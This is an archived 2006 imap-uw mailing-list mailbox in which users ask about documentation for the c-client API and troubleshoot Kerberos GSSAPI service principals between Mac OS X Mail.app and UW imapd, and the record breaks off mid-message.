b=KguABbB+HRBx9pbMe5Bc54o7SIMQTziXuK2ctDsLyR3DhbCHT18X62m78gIjXa49SXn/fenoWJ/U+iQWxh2WYAeIlVJxHxh/c6xNdllBM6BeaM5imwvoJ1qCEjZjMeO+g1KpdPFOVKWBSSTfzWpzKV4shrU+kS7cK3oxvCI3Nis= ; Message-ID: <20060403115236.45315.qmail@web8614.mail.in.yahoo.com> Received: from [61.95.163.2] by web8614.mail.in.yahoo.com via HTTP; Mon, 03 Apr 2006 12:52:35 BST Date: Mon, 3 Apr 2006 12:52:35 +0100 (BST) From: amaresh parida To: imap-uw@u.washington.edu MIME-Version: 1.0 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] imap-2004g : Need manual for c-client X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1571732752==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --===============1571732752== Content-Type: multipart/alternative; boundary="0-427795299-1144065155=:43488" Content-Transfer-Encoding: 8bit --0-427795299-1144065155=:43488 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi, I have downloaded imap-2004g and I am planning to write a imap client to append message on the server by using imap interface provided in c-client. I am writing the code in "C" language I searched in the internet to download some document which will tell how to use imap c-client API but did not get. Can any body help me out to provide one document/Manual which will having description about the API of c-client and how to use them. For example: imap_append( ) how to use and what does it mean and some explanation about this. Thanks and Regards Amaresh --------------------------------- Jiyo cricket on Yahoo! India cricket Yahoo! Messenger Mobile Stay in touch with your buddies all the time. --0-427795299-1144065155=:43488 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit
    Hi,
     
    I have downloaded imap-2004g and I am planning to write a imap client to append message on the server by using imap interface provided in c-client.
     
    I am writing the code in "C" language
     
    I searched in the internet to download some document which will tell how to use imap c-client API but did not get.
     
    Can any body help me out to provide one document/Manual which will having description about the API of c-client and how to use them.
     
    For example: imap_append( ) how to use and what does it mean and some explanation about this.
     
    Thanks and Regards
    Amaresh

    Jiyo cricket on Yahoo! India cricket
    Yahoo! Messenger Mobile Stay in touch with your buddies all the time. --0-427795299-1144065155=:43488-- --===============1571732752== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1571732752==-- From pinedev@shivax2.cac.washington.edu Mon Apr 3 08:48:06 2006 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Apr 2006 08:48:06 -0700 (PDT) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k33Fm6ss019625 for ; Mon, 3 Apr 2006 08:48:06 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k33Fm5he004698 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Apr 2006 08:48:05 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33Fm1x1020885 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 3 Apr 2006 08:48:01 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33Fm1YG027234; Mon, 3 Apr 2006 08:48:01 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33Fm12f027217 for ; Mon, 3 Apr 2006 08:48:01 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33Fm0b9010230 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 3 Apr 2006 08:48:00 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33Fm06I009186 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Apr 2006 08:48:00 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k33FlwES021697 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 3 Apr 2006 08:47:59 -0700 Date: Mon, 3 Apr 2006 08:47:57 -0700 (PDT) From: Mark Crispin To: amaresh parida Subject: Re: [Imap-uw] imap-2004g : Need manual for c-client In-Reply-To: <20060403115236.45315.qmail@web8614.mail.in.yahoo.com> Message-ID: References: <20060403115236.45315.qmail@web8614.mail.in.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/Plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CP_URI_IN_BODY 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The closest thing to a manual is the imap-2004g/docs/internal.txt file. However, this document was last updated in 1996, so it is quite out of date. Never call imap_append() directly. That is an internal function. The proper calls to use are mail_append() or mail_append_full(). You can look at both internal.txt and at the comments at the start of mail_append_full() in mail.c to see how it is called. I will probably to redefend the imap_???() and other driver functions as static in a future version to make them inaccessible to application programs. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Apr 10 09:08:15 2006 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Apr 2006 09:08:15 -0700 (PDT) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k3AG8FNF020866 for ; Mon, 10 Apr 2006 09:08:15 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k3AG8E4B008621 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 10 Apr 2006 09:08:14 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3AG8AUp019379 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 10 Apr 2006 09:08:10 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3AG8AVx002499; Mon, 10 Apr 2006 09:08:10 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3AG89SN002490 for ; Mon, 10 Apr 2006 09:08:09 -0700 Received: from bureau8.utcc.utoronto.ca (bureau8.utcc.utoronto.ca [128.100.132.18]) by mxe2.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3AG72mQ014232 for ; Mon, 10 Apr 2006 09:08:06 -0700 Received: from exile.cns.utoronto.ca ([128.100.103.146] EHLO [128.100.103.146] ident: IDENT-NOT-QUERIED [port 51297]) by bureau8.utcc.utoronto.ca with ESMTP id <25624-5182>; Mon, 10 Apr 2006 12:06:24 -0400 Mime-Version: 1.0 (Apple Message framework v749.3) Content-Transfer-Encoding: 7bit Message-Id: <3B2CF4B8-6917-4D30-9C33-ED81C69B4F8D@utoronto.ca> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: imap-uw@u.washington.edu From: Paul Fardy Date: Mon, 10 Apr 2006 12:06:11 -0400 X-Mailer: Apple Mail (2.749.3) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] uw-imap and kerberos via GSS X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu [I sent a message on Friday that's not in the imap-uw archive and has a incorrect subject. Sorry if this becomes a duplicate message.] I'm attempting to Kerberize our UW IMAP service. I've run into some trouble with service principals. I'm working, first, with my own Mail client Mac OS X Mail.app which looks like its do "a" right thing (perhaps not "the"). It requests access to the principal "host/host.name@DOMAIN". My Kerberized imapd looks for the principal "imap/host.name@DOMAIN" and fails to find it. I expect that I would not succeed if I attempted to relabel the principal name in the server's keytab--thus using the same key. I assume that Kerberos would fail if the principal names don't match. And, if that would work, the kadmin tool randomizes keys as it puts them in keytabs, so I don't think it's possible to create two service principals with the same key. Can someone point in the right direction? BTW, I'm looking use this with Pubcookie and IMP so any additional notes about that would be appreciated. Thanks, Paul -- Paul Fardy Network Services Group Computing and Networking Services University of Toronto _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Apr 10 14:41:27 2006 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Apr 2006 14:41:27 -0700 (PDT) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k3ALfRk9008934 for ; Mon, 10 Apr 2006 14:41:27 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k3ALfQb9025630 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 10 Apr 2006 14:41:26 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3ALfMCa018841 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 10 Apr 2006 14:41:22 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3ALfMv6025274; Mon, 10 Apr 2006 14:41:22 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3ALfLDK025257 for ; Mon, 10 Apr 2006 14:41:21 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3ALfKGN026627 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 10 Apr 2006 14:41:21 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3ALfKdb032398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 10 Apr 2006 14:41:20 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3ALfJtO032622 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 10 Apr 2006 14:41:19 -0700 Date: Mon, 10 Apr 2006 14:39:17 -0700 (Pacific Daylight Time) From: Mark Crispin To: Paul Fardy Subject: Re: [Imap-uw] uw-imap and kerberos via GSS In-Reply-To: <3B2CF4B8-6917-4D30-9C33-ED81C69B4F8D@utoronto.ca> Message-ID: References: <3B2CF4B8-6917-4D30-9C33-ED81C69B4F8D@utoronto.ca> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CP_URI_IN_BODY 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 10 Apr 2006, Paul Fardy wrote: > I'm working, first, with my own Mail client Mac OS X Mail.app which looks > like its do "a" right thing (perhaps not "the"). It requests access to the > principal "host/host.name@DOMAIN". My Kerberized imapd looks for the > principal "imap/host.name@DOMAIN" and fails to find it. imapd is doing the right thing. Refer to RFC 2222, section 7.2.1: The client calls GSS_Init_sec_context, passing in 0 for input_context_handle (initially) and a targ_name equal to output_name from GSS_Import_Name called with input_name_type of GSS_C_NT_HOSTBASED_SERVICE and input_name_string of "service@hostname" where "service" is the service name specified in the protocol's profile, and "hostname" is the fully qualified host name of the server. The service name in the IMAP protocol's profile is "imap", not "host" as per RFC 3501, section 6.2.2. > BTW, I'm looking use this with Pubcookie and IMP so any additional notes > about that would be appreciated. I think that IMP uses PHP which uses c-client, which will also use the "imap" service name. So will Pine. So, if your report is correct, this looks to be a bug in Mail.app. I don't recall if I ever tried Mail.app with our (kerberized) IMAP servers. I tried it once, then went back to Pine. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Apr 10 17:17:15 2006 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Apr 2006 17:17:14 -0700 (PDT) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k3B0HEbX017766 for ; Mon, 10 Apr 2006 17:17:14 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k3B0HEJC001401 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 10 Apr 2006 17:17:14 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0HAlt026450 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 10 Apr 2006 17:17:10 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0HAcm030249; Mon, 10 Apr 2006 17:17:10 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0H9VF030233 for ; Mon, 10 Apr 2006 17:17:09 -0700 Received: from daleenterprise.com (daleenterprise.com [67.78.11.229]) by mxe7.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0H84Q021100 for ; Mon, 10 Apr 2006 17:17:08 -0700 Received: from localhost (localhost [127.0.0.1]) by daleenterprise.com (Postfix) with ESMTP id 0E29988BA3A; Mon, 10 Apr 2006 20:13:23 -0400 (EDT) Received: from daleenterprise.com ([127.0.0.1]) by localhost (daleenterprise.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 08593-16; Mon, 10 Apr 2006 20:13:22 -0400 (EDT) Received: from [10.1.100.11] (relay.mustangrestomods.com [67.78.11.226]) by daleenterprise.com (Postfix) with ESMTP id 5582888BA34; Mon, 10 Apr 2006 20:13:22 -0400 (EDT) In-Reply-To: References: <3B2CF4B8-6917-4D30-9C33-ED81C69B4F8D@utoronto.ca> Mime-Version: 1.0 (Apple Message framework v749.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <48229C05-AF80-435E-A8CA-C479F2B6DEE0@daleenterprise.com> Content-Transfer-Encoding: 7bit From: BuildSmart Subject: Re: [Imap-uw] uw-imap and kerberos via GSS Date: Mon, 10 Apr 2006 20:13:21 -0400 To: Mark Crispin X-Pgp-Agent: GPGMail 1.1.2 (Tiger) X-Mailer: Apple Mail (2.749.3) MTA-Interface: amavisd-new-2.3.3 (2005-08-22) + Maia Mailguard 1.1.0 at daleenterprise.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CP_URI_IN_BODY 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Apr 10, 2006, at 17:39 , Mark Crispin wrote: > On Mon, 10 Apr 2006, Paul Fardy wrote: >> I'm working, first, with my own Mail client Mac OS X Mail.app >> which looks like its do "a" right thing (perhaps not "the"). It >> requests access to the principal "host/host.name@DOMAIN". My >> Kerberized imapd looks for the principal "imap/host.name@DOMAIN" >> and fails to find it. > > imapd is doing the right thing. Refer to RFC 2222, section 7.2.1: > > The client calls GSS_Init_sec_context, passing in 0 for > input_context_handle (initially) and a targ_name equal to > output_name > from GSS_Import_Name called with input_name_type of > GSS_C_NT_HOSTBASED_SERVICE and input_name_string of > "service@hostname" where "service" is the service name specified in > the protocol's profile, and "hostname" is the fully qualified host > name of the server. > > The service name in the IMAP protocol's profile is "imap", not > "host" as per RFC 3501, section 6.2.2. > >> BTW, I'm looking use this with Pubcookie and IMP so any additional >> notes about that would be appreciated. > > I think that IMP uses PHP which uses c-client, which will also use > the "imap" service name. So will Pine. > > So, if your report is correct, this looks to be a bug in Mail.app. > I don't recall if I ever tried Mail.app with our (kerberized) IMAP > servers. I tried it once, then went back to Pine. I have no issues using Apple's Mail.app and UW-IMAP as kerberized. Mail.app - Version 2.0.7 (746.2/749.3) > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (Darwin) iD8DBQFEOvSh0hzWbkf0eKgRAsoxAKCXMlUAMhoZG6VEfH1oxseeDaFsXgCg25W2 pwNYzHrDjdpQSI1tR7Dqfas= =v+1T -----END PGP SIGNATURE----- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Apr 10 17:17:56 2006 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Apr 2006 17:17:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k3B0HuTZ017825 for ; Mon, 10 Apr 2006 17:17:56 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0Htfj022625 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 10 Apr 2006 17:17:55 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0HpAj023064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 10 Apr 2006 17:17:51 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0HpWH030351; Mon, 10 Apr 2006 17:17:51 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0Hn41030329 for ; Mon, 10 Apr 2006 17:17:49 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0HnMT010760 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 10 Apr 2006 17:17:49 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0Hm3Y023054 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 10 Apr 2006 17:17:49 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3B0Hmle007006 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 10 Apr 2006 17:17:48 -0700 Date: Mon, 10 Apr 2006 17:15:46 -0700 (Pacific Daylight Time) From: Mark Crispin To: BuildSmart Subject: Re: [Imap-uw] uw-imap and kerberos via GSS In-Reply-To: <48229C05-AF80-435E-A8CA-C479F2B6DEE0@daleenterprise.com> Message-ID: References: <3B2CF4B8-6917-4D30-9C33-ED81C69B4F8D@utoronto.ca> <48229C05-AF80-435E-A8CA-C479F2B6DEE0@daleenterprise.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CP_URI_IN_BODY 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 10 Apr 2006, BuildSmart wrote: >> So, if your report is correct, this looks to be a bug in Mail.app. I don't >> recall if I ever tried Mail.app with our (kerberized) IMAP servers. I tried >> it once, then went back to Pine. > I have no issues using Apple's Mail.app and UW-IMAP as kerberized. > Mail.app - Version 2.0.7 (746.2/749.3) Thanks for the information. Paul, is it possible that you have an old version of Mail.app that buggily uses the host principal instead of the imap principal? Does upgrading your Mac system help? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Apr 11 08:42:17 2006 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Apr 2006 08:42:17 -0700 (PDT) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW06.03) with ESMTP id k3BFgHCc030880 for ; Tue, 11 Apr 2006 08:42:17 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k3BFgGqc010157 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Apr 2006 08:42:16 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3BFgCx9020059 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Apr 2006 08:42:12 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3BFgCDJ002692; Tue, 11 Apr 2006 08:42:12 -0700 Received: from mxe6.u.washington.edu (mxe6.u.washington.edu [140.142.33.16]) by mailman1.u.washington.edu (8.13.6+UW06.03/8.13.5+UW06.03) with ESMTP id k3BFgBvA002684 for ; Tue, 11 Apr 2006 08:42:11 -0700 Received: from bureau8.utcc.utoronto.ca (bureau8.utcc.utoronto.ca [128.100.132.18]) by mxe6.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k3BFg9TP009328 for ; Tue, 11 Apr 2006 08:42:09 -0700 Received: from exile.cns.utoronto.ca ([128.100.103.146] EHLO [128.100.103.146] ident: IDENT-NOT-QUERIED [port 52775]) by bureau8.utcc.utoronto.ca with ESMTP id <25352-17418>; Tue, 11 Apr 2006 11:41:28 -0400 In-Reply-To: References: <3B2CF4B8-6917-4D30-9C33-ED81C69B4F8D@utoronto.ca> <48229C05-AF80-435E-A8CA-C479F2B6DEE0@daleenterprise.com> Mime-Version: 1.0 (Apple Message framework v749.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <2F7AFF10-DDBE-4A80-A46B-24319014A4C5@utoronto.ca> Content-Transfer-Encoding: 7bit From: Paul Fardy Date: Tue, 11 Apr 2006 11:41:22 -0400 To: Mark Crispin X-Mailer: Apple Mail (2.749.3) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu Subject: [Imap-uw] Re: uw-imap and kerberos via GSS X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 10 Apr 2006, BuildSmart wrote: >>> So, if your report is correct, this looks to be a bug in >>> Mail.app. I don't recall if I ever tried Mail.app with our >>> (kerberized) IMAP servers. I tried it once, then went back to Pine. Mea culpa. The report is not correct. On Apr 10, 2006, at 17:39 , Mark Crispin wrote: >> I have no issues using Apple's Mail.app and UW-IMAP as kerberized. >> Mail.app - Version 2.0.7 (746.2/749.3) I have the same version. Mail.app did not request a 